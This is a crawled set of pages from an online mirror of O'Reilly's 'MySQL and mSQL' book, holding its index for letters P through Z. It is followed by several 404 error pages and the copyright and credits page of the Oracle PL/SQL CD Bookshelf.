println( ) method: 22. JDBC Reference
PROCEDURE name: 15.1. MySQL SQL
Processes command: 4.4.1.4. Server status
processlist command: 4.4.1.6. Command line options for mysqladmin
17.1. MySQL Utilities
programming interfaces: 4.5.2.4. Programming interfaces
properties files, JDBC: 14.1.2. Maintaining Portability Using Properties Files
Protocol version: 4.4.1.4. Server status
putenv( ) function: 18.1. PHP
18.1. PHP
Python: 5.6.2.4. Programming interfaces
basic connectivity: 11.1. Basic Connectivity
CGI and: 9.3.4. Accepting Input in Perl
definition: 11. Python
dynamic connectivity: 11.2. Dynamic Connectivity
mSQL module: 20.2. Module: mSQL
MySQL module: 20.1. Module: MySQL

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Q (MySQL & mSQL)

MySQL and mSQLSearch this book

Index: Q

\q command: 17.2. mSQL Utilities
QUARTER( ) function: 15.1. MySQL SQL
queries: 13.1. The Two APIs
compared to updates: 14.2. Simple Database Access
MySQL: 13.1. The Two APIs
Python: 11.1.1. Queries
server status: 5.5.1.4. Server status
SQL: 6.1.2. The Design of SQL
Query( ) method: 13.2.1.3. Making Calls to the database
13.2.3.1. Navigating results
Query command: 4.4.1.4. Server status
query function: 21.3. Msql.pm API
21.4. Mysql.pm API
querying
databases: 6.7. Queries
13.2.1.3. Making Calls to the database
search engines: 9.4.1. State Retention
QUERY_STRING environment variable: 9.3. The CGI Specification
9.3.2. Command Line
question mark (?), placeholder in JDBC: 22. JDBC Reference
Questions, MySQL server status: 4.4.1.4. Server status
QUIET function: 21.3. Msql.pm API
Quit command: 4.4.1.4. Server status
quote function: 21.2. DBI.pm API
21.3. Msql.pm API
quotemeta( ) function: 18.1. PHP
18.1. PHP

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: R (MySQL & mSQL)

MySQL and mSQLSearch this book

Index: R

RADIANS( ) function: 15.1. MySQL SQL
rand( ) function: 18.1. PHP
18.1. PHP
RDBMS (Relational Database Management System): 1.2. What Is a Relational Database?
read( ) function: 18.2. Lite
18.2. Lite
readbuffer option: 16.1.2. Command line variables
readdir( ) function: 18.1. PHP
18.1. PHP
readfile( ) function: 18.1. PHP
18.1. PHP
readlink( ) function: 18.1. PHP
18.1. PHP
readln( ) function: 18.2. Lite
18.2. Lite
Read_Only system variable: 16.2.2.2. system
readtok( ) function: 18.2. Lite
18.2. Lite
REAL datatype: 6.3. SQL Datatypes
6.3.5. Other Kinds of Data
15.1. MySQL SQL
15.2. mSQL SQL
record_buffer option: 16.1.2. Command line variables
recursive relationship: 2.2.3. Relationships
Ref interface: 22. JDBC Reference
refresh command: 4.4.1.6. Command line options for mysqladmin
17.1. MySQL Utilities
refreshRow( ) method: 22. JDBC Reference
registerDriver( ) method: 22. JDBC Reference
registerOutParameter( ) method: 22. JDBC Reference
22. JDBC Reference
reg_match( ) function: 18.1. PHP
18.1. PHP
reg_replace( ) function: 18.1. PHP
18.1. PHP
reg_search( ) function: 18.1. PHP
18.1. PHP
rehash command: 17.1. MySQL Utilities
Relational Database Management System (RDBMS)
definition: 1.2. What Is a Relational Database?
mSQL: 5. mSQL
relational databases: 1.2. What Is a Relational Database?
8.2. Data Processing
relationships
refining: 2.2.6. Refining Relationships
types of: 2.2.3. Relationships
2.2.5. Kinds of Relationships
relative( ) method: 22. JDBC Reference
RELEASE_LOCK( ) function: 15.1. MySQL SQL
reload command: 4.4.1.6. Command line options for mysqladmin
17.1. MySQL Utilities
17.2. mSQL Utilities
relshow command: 5.6.1. Command Line Tools
relshow utility: 17.2. mSQL Utilities
rename( ) function: 18.1. PHP
18.1. PHP
REPEAT( ) function: 15.1. MySQL SQL
REPLACE( ) function: 15.1. MySQL SQL
reset( ) function: 18.1. PHP
18.1. PHP
Result class: 13.2.3. Result Sets
result set meta-data: 11.2. Dynamic Connectivity
ResultSet: 14.2. Simple Database Access
14.3.1. Meta Data
ResultSet, in JDBC: 14.1. What Is JDBC?
ResultSet interface: 22. JDBC Reference
ResultSetMetaData interface: 14.3.1. Meta Data
14.3.1. Meta Data
22. JDBC Reference
return( ) function: 18.1. PHP
18.1. PHP
returned values: 15.1. MySQL SQL
REVERSE( ) function: 15.1. MySQL SQL
REVOKE statement: 15.1. MySQL SQL
rewind( ) function: 18.1. PHP
18.1. PHP
rewinddir( ) function: 18.1. PHP
18.1. PHP
REXX: 5.6.2.4. Programming interfaces
rmdir( ) function: 18.1. PHP
18.1. PHP
rmdir() function: 18.2. Lite
18.2. Lite
rollback( ) method: 22. JDBC Reference
rollback function: 21.2. DBI.pm API
21.2. DBI.pm API
root password, changing: 4.4. Database Administration
ROUND( ) function: 15.1. MySQL SQL
Row class: 13.2.4. Rows
row count, in database applications: 13.2.3.2. Cleaning up and row count
rowDeleted( ) method: 22. JDBC Reference
_rowid system variable: 6.8.2. mSQL Features
rowInserted( ) method: 22. JDBC Reference
rows function: 21.2. DBI.pm API
rowUpdated( ) method: 22. JDBC Reference
RPAD( ) function: 15.1. MySQL SQL
rsort( ) function: 18.1. PHP
18.1. PHP
RTRIM( ) function: 15.1. MySQL SQL
Rumbaugh, James: 13.2. Object-oriented Database Access in C++
Russian Academy of Science, Institute for System Programming: 7.4. GNU SQL

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: S (MySQL & mSQL)

MySQL and mSQLSearch this book

Index: S

\s command: 17.1. MySQL Utilities
safe_mysqld script: 4.3. Running MySQL
scalability: 8.4. The Three-tier Architecture
scalar reference: 10.1. DBI
scripts
for CD database: 2.4. Physical Database Design
mSQL installation setup: 3.2. mSQL
mSQL server process: 5.4. Running mSQL
restarting the msql2d daemon: 5.4. Running mSQL
search engines, querying: 9.4.1. State Retention
SECOND( ) function: 15.1. MySQL SQL
second normal form (see normalization, second normal form)
SEC_TO_TIME( ) function: 15.1. MySQL SQL
security
CGI considerations: 9.4.2. Security
MySQL: 4.4.3. Security
seek( ) method: 11.2.1. MySQL Statement Handlers
select db( ) method: 13.1. The Two APIs
SELECT statement: 15.1. MySQL SQL
15.1. MySQL SQL
15.2. mSQL SQL
selectdb function: 21.3. Msql.pm API
SelectResource.properties file: 14.1.2. Maintaining Portability Using Properties Files
sequences: 5.6.2.5. Miscellaneous
6.5. Sequences and Auto-Incrementing
Server Side Includes (SSI): 12.1. Alternatives for Dynamic Content on the Web
server-side interpreter: 12.1. Alternatives for Dynamic Content on the Web
server statistics: 5.5.1.4. Server status
Server version: 4.4.1.4. Server status
server-wide my.cnf file: 16.1.3. The MySQL Configuration File
servertype attribute: 10.1. DBI
SESSION_USER( ) function: 15.1. MySQL SQL
SET datatype: 6.3.4. Enumerations and Sets
15.1. MySQL SQL
SET statement: 15.1. MySQL SQL
setArray( ) method: 22. JDBC Reference
setAsciiStream( ) method: 22. JDBC Reference
setAutoCommit( ) method: 22. JDBC Reference
setBigDecimal( ) method: 22. JDBC Reference
setBinaryStream( ) method: 22. JDBC Reference
setBlob( ) method: 22. JDBC Reference
setBoolean( ) method: 22. JDBC Reference
setByte( ) method: 22. JDBC Reference
setBytes( ) method: 22. JDBC Reference
setCatalog( ) method: 22. JDBC Reference
setCharacterStream( ) method: 22. JDBC Reference
setClob( ) method: 22. JDBC Reference
setConcurrency( ) method: 22. JDBC Reference
setContentType( ) function: 18.2. Lite
18.2. Lite
setcookie( ) function: 18.1. PHP
18.1. PHP
setCursorName( ) method: 22. JDBC Reference
setDate( ) method: 22. JDBC Reference
22. JDBC Reference
setDouble( ) method: 22. JDBC Reference
seterrorreporting( ) function: 18.1. PHP
18.1. PHP
setEscapeProcessing( ) method: 22. JDBC Reference
setFetchDirection( ) method: 22. JDBC Reference
setFetchDirection() method: 22. JDBC Reference
setFetchSize( ) method: 22. JDBC Reference
setFetchSize() method: 22. JDBC Reference
setFloat( ) method: 22. JDBC Reference
setInt( ) method: 22. JDBC Reference
setlogging( ) function: 18.1. PHP
18.1. PHP
setLoginTimeout( ) method: 22. JDBC Reference
setLogStream( ) method: 22. JDBC Reference
setLong( ) method: 22. JDBC Reference
setMaxFieldize( ) method: 22. JDBC Reference
setMaxRows( ) method: 22. JDBC Reference
setMonth( ) method: 22. JDBC Reference
setNanos( ) method: 22. JDBC Reference
setNull( ) method: 22. JDBC Reference
setObject( ) method: 22. JDBC Reference
setReadOnly( ) method: 22. JDBC Reference
setRef( ) method: 22. JDBC Reference
setShort( ) method: 22. JDBC Reference
setshowinfo( ) function: 18.1. PHP
18.1. PHP
setString( ) method: 22. JDBC Reference
setTime( ) method: 22. JDBC Reference
22. JDBC Reference
22. JDBC Reference
setTimestamp( ) method: 22. JDBC Reference
setTransactionIsolation( ) method: 22. JDBC Reference
settype( ) function: 18.1. PHP
18.1. PHP
setTypeMap( ) method: 22. JDBC Reference
setUnicodeStream( ): 22. JDBC Reference
setup script, mSQL: 3.2. mSQL
setYear( ) method: 22. JDBC Reference
shell script: 12.2.2. Installation
shl( ) function: 18.1. PHP
18.1. PHP
SHOW PROCESSES statement: 15.1. MySQL SQL
SHOW statement: 15.1. MySQL SQL
shr( ) function: 18.1. PHP
18.1. PHP
shutdown command: 4.4.1.6. Command line options for mysqladmin
17.1. MySQL Utilities
17.2. mSQL Utilities
shutdown function: 21.3. Msql.pm API
SIGN( ) function: 15.1. MySQL SQL
SIN( ) function: 15.1. MySQL SQL
single-threaded server: 5.1. Design
site.mm file: 3.2. mSQL
sleep( ) function: 18.1. PHP
18.1. PHP
18.2. Lite
18.2. Lite
Sleep command: 4.4.1.4. Server status
Slow queries, mySQL server status: 4.4.1.4. Server status
SLQ2 standard: 6.6.1. Inserts
SMALLINT datatype: 15.1. MySQL SQL
Sock: 5.5.1.4. Server status
sock function: 21.3. Msql.pm API
sort( ) function: 18.1. PHP
18.1. PHP
sortbuffer option: 16.1.2. Command line variables
sort_key_blocks option: 16.1.2. Command line variables
SOUNDEX( ) function: 15.1. MySQL SQL
SPACE( ) function: 15.1. MySQL SQL
special characters
for comments: 16.1.3. The MySQL Configuration File
in URLs: 10.3. Msql.pm
with WHERE statement construct: 15.1. MySQL SQL
15.2. mSQL SQL
split( ) function: 18.2. Lite
18.2. Lite
sprintf( ) function: 18.1. PHP
18.1. PHP
SQL: 1.2. What Is a Relational Database?
advantages: 6. SQL According to MySQL and mSQL
datatypes: 6.3. SQL Datatypes
design of: 6.1.2. The Design of SQL
history: 6.1.1. The SQL Story
index creation: 6.4. Indices
mSQL reference: 15.2. mSQL SQL
MySQL reference: 15.1. MySQL SQL
naming rules: 2.4. Physical Database Design
queries: 6.1.2. The Design of SQL
structure: 6.1. SQL Basics
SQL92 (ANSI SQL): 1.2. What Is a Relational Database?
SQL3 array objects: 22. JDBC Reference
SQL2 standard: 1.2. What Is a Relational Database?
6.1.1. The SQL Story
7.4. GNU SQL
SQLBase API: 5.6.2.4. Programming interfaces
Sqlscreens utility: 4.5.2.4. Programming interfaces
sqrt( ) program function: 18.1. PHP
18.1. PHP
Sqs: 5.6.2.5. Miscellaneous
Squile: 4.5.2.4. Programming interfaces
srand( ) function: 18.1. PHP
18.1. PHP
src/w3-msql directory, shell script: 12.2.2. Installation
SSL: 5.6.2.5. Miscellaneous
startup scripts: 4.3. Running MySQL
stat( ) function: 18.2. Lite
18.2. Lite
state function: 21.2. DBI.pm API
state retention: 9.4.1. State Retention
Statement class: 14.2. Simple Database Access
14.3. Dynamic Database Access
statement handlers: 11.2.1. MySQL Statement Handlers
Statement interface: 22. JDBC Reference
Statement::affectedrows function: 21.4. Mysql.pm API
Statement::as_string function: 21.3. Msql.pm API
Statement::dataseek function: 21.3. Msql.pm API
21.3. Msql.pm API
21.3. Msql.pm API
Statement::fetchcol function: 21.3. Msql.pm API
Statement::fetchhash function: 21.3. Msql.pm API
Statement::fetchrow function: 21.3. Msql.pm API
statement_handle: 20.1. Module: MySQL
Statement::info function: 21.4. Mysql.pm API
Statement::insertid function: 21.4. Mysql.pm API
Statement::isblob function: 21.4. Mysql.pm API
Statement::isnotnull function: 21.3. Msql.pm API
Statement::isnum function: 21.3. Msql.pm API
Statement::isprikey function: 21.3. Msql.pm API
Statement::length function: 21.3. Msql.pm API
Statement::listindices: 21.3. Msql.pm API
Statement::maxlength function: 21.3. Msql.pm API
Statement::name function: 21.3. Msql.pm API
Statement::numfields function: 21.3. Msql.pm API
Statement::numrows function: 21.3. Msql.pm API
Statement::table function: 21.3. Msql.pm API
Statement::type function: 21.3. Msql.pm API
Statistics command: 4.4.1.4. Server status
statistics, mSQL: 5.5.1.4. Server status
stats command: 17.2. mSQL Utilities
status command: 4.4.1.6. Command line options for mysqladmin
17.1. MySQL Utilities
17.1. MySQL Utilities
STD( ) function: 15.1. MySQL SQL
STDDEV( ) function: 15.1. MySQL SQL
Stonebreaker, Michael: 7.3. PostgreSQL
stored procedures: 7.2.3. Stored Procedures
strchr( ) function: 18.1. PHP
18.1. PHP
STRCMP( ) function: 15.1. MySQL SQL
strftime( ) function: 18.2. Lite
18.2. Lite
stripslashes( ) function: 18.1. PHP
18.1. PHP
strlen( ) function: 18.1. PHP
18.1. PHP
strrchr( ) function: 18.1. PHP
18.1. PHP
strstr( ) function: 18.1. PHP
strtok( ) function: 18.1. PHP
18.1. PHP
strtolower( ) function: 18.1. PHP
18.1. PHP
strtoupper( ) function: 18.1. PHP
18.1. PHP
strtr( ) function: 18.1. PHP
18.1. PHP
Struct interface: 22. JDBC Reference
strval( ) function: 18.1. PHP
18.1. PHP
sub( ) function: 18.2. Lite
18.2. Lite
subselects: 7.2.4. Subselects
substr( ) function: 18.1. PHP
18.1. PHP
18.2. Lite
18.2. Lite
SUBSTRING( ) function: 15.1. MySQL SQL
SUBSTRING() function: 15.1. MySQL SQL
SUBSTRING_INDEX( ) function: 15.1. MySQL SQL
SUM( ) function: 15.1. MySQL SQL
support utilities: 4.5. MySQL Utilities
Sybase, proprietary APIs: 14. Java and JDBC
symlink( ) function: 18.1. PHP
18.1. PHP
18.2. Lite
18.2. Lite
SYSDATE( ) function: 15.1. MySQL SQL
syslog( ) function: 18.1. PHP
18.1. PHP
system( ) function: 18.1. PHP
18.1. PHP
18.2. Lite
18.2. Lite
system variables, mSQL: 6.8.2. mSQL Features
SYSTEM_USER( ) function: 15.1. MySQL SQL

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: T (MySQL & mSQL)

MySQL and mSQLSearch this book

Index: T

*_TYPE function: 21.3. Msql.pm API
tab delimited data, exporting: 15.1. MySQL SQL
table names: 2.4. Physical Database Design
table_cache option: 16.1.2. Command line variables
table_cache variable: 4.6. Performance Tuning
tables
adding data to: 6.6. Managing Data
creating: 6.1.2. The Design of SQL
dropping: 6.2. Creating and Dropping Tables
joining: 15.1. MySQL SQL
repairing: 4.6.1.1. Repairing damaged tables
TAN ( ) function: 15.1. MySQL SQL
targets directory: 3.2. mSQL
Tcl: 5.6.2.4. Programming interfaces
TCP_Port variable: 16.2.2.1. general
tempnam( ) function: 18.1. PHP
18.1. PHP
test( ) function: 18.2. Lite
18.2. Lite
TeX client/server design of MySQL: 4.1. Design
TEXT datatype: 2.4. Physical Database Design
5.2. mSQL Versions
6.3. SQL Datatypes
6.3.2.1. Variable-length character fields in MySQL
15.1. MySQL SQL
15.2. mSQL SQL
thin clients: 8.4. The Three-tier Architecture
third normal form (see normalization, third normal form)
Threads, MySQL server status: 4.4.1.4. Server status
thread_stack option: 16.1.2. Command line variables
three-tier architecture: 8.4. The Three-tier Architecture
time( ) function: 18.1. PHP
18.1. PHP
Time( ) method: 22. JDBC Reference
TIME datatype: 5.2. mSQL Versions
6.3. SQL Datatypes
15.1. MySQL SQL
15.2. mSQL SQL
Time interface: 22. JDBC Reference
TIME_FORMAT( ) function: 15.1. MySQL SQL
Timestamp( ) object: 22. JDBC Reference
TIMESTAMP datatype: 15.1. MySQL SQL
15.1. MySQL SQL
Timestamp interface: 22. JDBC Reference
_timestamp system variable: 6.8.2. mSQL Features
TIME_TO_SEC( ) function: 15.1. MySQL SQL
time2unixtime( ) function: 18.2. Lite
18.2. Lite
TINYBLOB datatype: 6.3.3. Binary Datatypes
15.1. MySQL SQL
TINYINT datatype: 15.1. MySQL SQL
TINYTEXT datatype: 6.3.2.1. Variable-length character fields in MySQL
tmp_table_size option: 16.1.2. Command line variables
TO_DAYS( ) function: 15.1. MySQL SQL
toString( ) method: 22. JDBC Reference
22. JDBC Reference
22. JDBC Reference
tr( ) function: 18.2. Lite
18.2. Lite
trace function: 21.2. DBI.pm API
transaction management: 8.2. Data Processing
transactions: 7.2.1. Transactions
triggers: 7.2.2. Triggers
TRIM( ) function: 15.1. MySQL SQL
troubleshooting, MSQL: 5. mSQL
truncate( ) function: 18.2. Lite
18.2. Lite
twzJdbcForMysql utility: 4.5.2.4. Programming interfaces
Types interface: 22. JDBC Reference

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: U (MySQL & mSQL)

MySQL and mSQLSearch this book

Index: U

\u command: 17.1. MySQL Utilities
UCASE( ) function: 15.1. MySQL SQL
UINT datatype: 15.2. mSQL SQL
ultra-thin clients: 8.4. The Three-tier Architecture
umask( ) function: 18.1. PHP
18.1. PHP
18.2. Lite
18.2. Lite
UML (Unified Modeling Language): 13.2. Object-oriented Database Access in C++
uniqid( ) function: 18.1. PHP
18.1. PHP
UNIQUE attribute: 15.1. MySQL SQL
unique identifiers (see primary keys)
UNIREG: 1.4.2. The History of MySQL
University Ingres: 7.3. PostgreSQL
UNIX file systems: 4.4.1.1. Database creation
UNIX socket: 4.4.1.4. Server status
UNIX version of mSQL: 5.3. Installing mSQL
UNIX_Port variable: 16.2.2.1. general
unixtime2( ) function: 18.2. Lite
18.2. Lite
UNIX_TIMESTAMP( ) function: 15.1. MySQL SQL
unlink( ) function: 18.1. PHP
18.1. PHP
18.2. Lite
18.2. Lite
UNLOCK statement: 15.1. MySQL SQL
unset( ) function: 18.1. PHP
18.1. PHP
UNSIGNED attribute: 6.3. SQL Datatypes
15.1. MySQL SQL
Update Log: 4.4.2. Backups
UPDATE statement: 10.4. MysqlPerl
15.1. MySQL SQL
15.2. mSQL SQL
updateAsciiStream( ) method: 22. JDBC Reference
updateBigDecimal( ) method: 22. JDBC Reference
updateBinaryStream( ) method: 22. JDBC Reference
updateBoolean( ) method: 22. JDBC Reference
updateByte( ) method: 22. JDBC Reference
updateBytes( ) method: 22. JDBC Reference
updateCharacterStream( ) method: 22. JDBC Reference
updateDate( ) method: 22. JDBC Reference
updateDouble( ) method: 22. JDBC Reference
updateFloat( ) method: 22. JDBC Reference
updateInt( ) method: 22. JDBC Reference
updateLong( ) method: 22. JDBC Reference
updateNull( ) method: 22. JDBC Reference
updateObject( ) method: 22. JDBC Reference
updateRow() method: 22. JDBC Reference
updateShort( ) method: 22. JDBC Reference
updateString( ) method: 22. JDBC Reference
updateTime( ) method: 22. JDBC Reference
updateTimestamp( ) method: 22. JDBC Reference
UPPER( ) function: 15.1. MySQL SQL
Uptime, MySQL server status: 4.4.1.4. Server status
URL-escaped special characters: 10.3. Msql.pm
urldecode( ) function: 18.1. PHP
18.1. PHP
urlencode( ) function: 18.1. PHP
18.1. PHP
use command: 17.1. MySQL Utilities
use DBI program: 21.2. DBI.pm API
use Msql program: 21.3. Msql.pm API
USE statement: 15.1. MySQL SQL
USER( ) function: 15.1. MySQL SQL
USER environment variable: 16.2.1. Environment Variables
user interfaces: 8.4. The Three-tier Architecture
User, MySQL server status: 4.4.1.4. Server status
user names: 4.4.3.1. The user table
user permissions: 9.4.2. Security
_user system variable: 6.8.2. mSQL Features
user table: 4.4.3.1. The user table
Username: 5.5.1.4. Server status
usleep( ) function: 18.1. PHP
18.1. PHP

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: V (MySQL & mSQL)

MySQL and mSQLSearch this book

Index: V

valueOf( ) method: 22. JDBC Reference
22. JDBC Reference
22. JDBC Reference
VARBINARY datatype: 15.1. MySQL SQL
VARCHAR BINARY datatype: 6.3.3. Binary Datatypes
VARCHAR datatype: 6.3.2.1. Variable-length character fields in MySQL
6.3.2.1. Variable-length character fields in MySQL
15.1. MySQL SQL
variable-length datatype: 6.3.2. Character Types
variables command: 4.4.1.6. Command line options for mysqladmin
17.1. MySQL Utilities
Vdb API: 5.6.2.4. Programming interfaces
Vdb-dflts API: 4.5.2.4. Programming interfaces
VERSION( ) function: 15.1. MySQL SQL
version command: 4.4.1.6. Command line options for mysqladmin
17.1. MySQL Utilities
17.2. mSQL Utilities
VERSION function: 21.3. Msql.pm API
virtual( ) function: 18.1. PHP
18.1. PHP
VISUAL environment variable: 16.2.1. Environment Variables
VisualBasic: 5.6.2.4. Programming interfaces

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: W (MySQL & mSQL)

MySQL and mSQLSearch this book

Index: W

W3-Auth: 12.2.1. W3-Auth
W3-mSQL: 12. PHP and Other Support for Database-driven HTML
12.2. W3-mSQL
12.2.3. W3-mSQL Example
w3-msql system variable: 16.2.2.3. w3-msql
wasNull( ) method: 14.4. A Guest Book Servlet
22. JDBC Reference
22. JDBC Reference
WEEK( ) function: 15.1. MySQL SQL
WHERE clause: 6.6.3. The WHERE Clause
13.1. The Two APIs
WHERE statement: 15.1. MySQL SQL
15.2. mSQL SQL
Widenius, Monty: 10.4. MysqlPerl
Wiedmann, Jochen: 21.1. Installation
wildcards
*, in ACL file: 5.5.3. Security
% in MySQL security tables: 4.4.3.1. The user table
Win32 file systems: 4.4.1.1. Database creation
Windows 95, memory problems running MySQL: 4.3. Running MySQL
Windows, mSQL support for: 5.3. Installing mSQL
5.6.2.4. Programming interfaces
5.6.2.4. Programming interfaces
Wintcl: 4.5.2.4. Programming interfaces
Wuftpd-mysql: 4.5.2.5. Miscellaneous
www-sql, CGI interface: 4.5.2.2. CGI interfaces

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: X (MySQL & mSQL)

MySQL and mSQLSearch this book

Index: X

X Window System: 5.6.2.3. Client applications
XfSQL utility: 5.6.2.3. Client applications
XmSQL utility: 5.6.2.3. Client applications
xmysql utility: 4.5.2.3. Client applications
xmysqladmin utility: 4.5.2.3. Client applications

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Y (MySQL & mSQL)

MySQL and mSQLSearch this book

Index: Y

YEAR( ) function: 15.1. MySQL SQL
YEAR datatype: 15.1. MySQL SQL
Y2K problems: 2.1.2. Entity Attributes

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Z (MySQL & mSQL)

MySQL and mSQLSearch this book

Index: Z

ZEROFILL attribute: 15.1. MySQL SQL
zmsql API: 5.6.2.4. Programming interfaces

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/oracle/appa_01.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/oracle/appa_02.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/oracle/appb_01.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/oracle/appb_02.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/oracle/appc_01.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/oracle/appc_02.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/oracle/appc_03.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/oracle/appc_04.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/oracle/appc_05.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/oracle/appc_06.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/oracle/appc_10.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/oracle/appc_11.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/oracle/appc_12.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/oracle/appc_14.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/oracle/appc_15.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/oracle/appc_16.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/oracle/appc_17.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


O'Reilly Copyright Statement

The Oracle PL/SQL CD Bookshelf

By O'Reilly & Associates, Inc.
ISBN: 1-56592-849-0
Published by O'Reilly & Associates, Inc., 101 Morris St, Sebastopol, CA 95472

Manufacturing History

June 2000: Version 1.0

Credits

Product Manager: Linda Walsh
Online Production Editor: Ellie Cutler
Online Graphics: Kathleen Wilson
Tools: Erik Ray, Jeffrey Liggett, Benn Salter
Index: Ellie Cutler, Seth Maislin

Copyright © 2000 by O'Reilly & Associates, Inc.; All rights reserved.

This electronic publication is intended for use by one individual. As such, you may make copies for your own personal use. However, you may not provide copies to others, or make this publication available to others over a LAN or other network. You may not reprint, offer for sale, or otherwise re-use material from this publication without the explicit written permission of O'Reilly & Associates, Inc.

You can purchase print editions of these books directly from O'Reilly & Associates, Inc. or from bookstores that carry O'Reilly & Associates books.

Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and O'Reilly & Associates, Inc., was aware of the trademark claim, the designations have been printed in caps or initial caps.

While every precaution has been taken in the preparation of this book, the publisher assumes no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein.

Questions, comments, and suggestions to bookquestions@ora.com.

The Oracle PL/SQL CD Bookshelf Navigation Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference

This product is printed with 100% recycled electrons.


The Oracle PL/SQL CD Bookshelf

Oracle PL/SQL Programming, 2nd Edition by Steven Feuerstein & Bill Pribyl
Oracle PL/SQL: Guide to Oracle8i Features by Steven Feuerstein
Oracle Built-in Packages by Steven Feuerstein, Charles Dye & John Beresniewicz
Advanced Oracle PL/SQL Programming with Packages by Steven Feuerstein
Oracle Web Applications: PL/SQL Developer's Introduction by Andrew Odewahn
Oracle PL/SQL Language Pocket Reference by Steven Feuerstein, Bill Pribyl & Chip Dawes
Oracle PL/SQL Built-ins Pocket Reference by Steven Feuerstein, John Beresniewicz & Chip Dawes
Search Entire CD Bookshelf
Combined Index:
Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright 2000 by O'Reilly & Associates

Credits

The Oracle PL/SQL CD Bookshelf Navigation

The Oracle PL/SQL CD Bookshelf, Version 1.0, is © copyright 2000 by O'Reilly & Associates. All rights reserved.
Questions, comments, and suggestions to bookquestions@ora.com. Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/oracle/prf3_02.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


[Appendix A] Appendix: PL/SQL Exercises

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
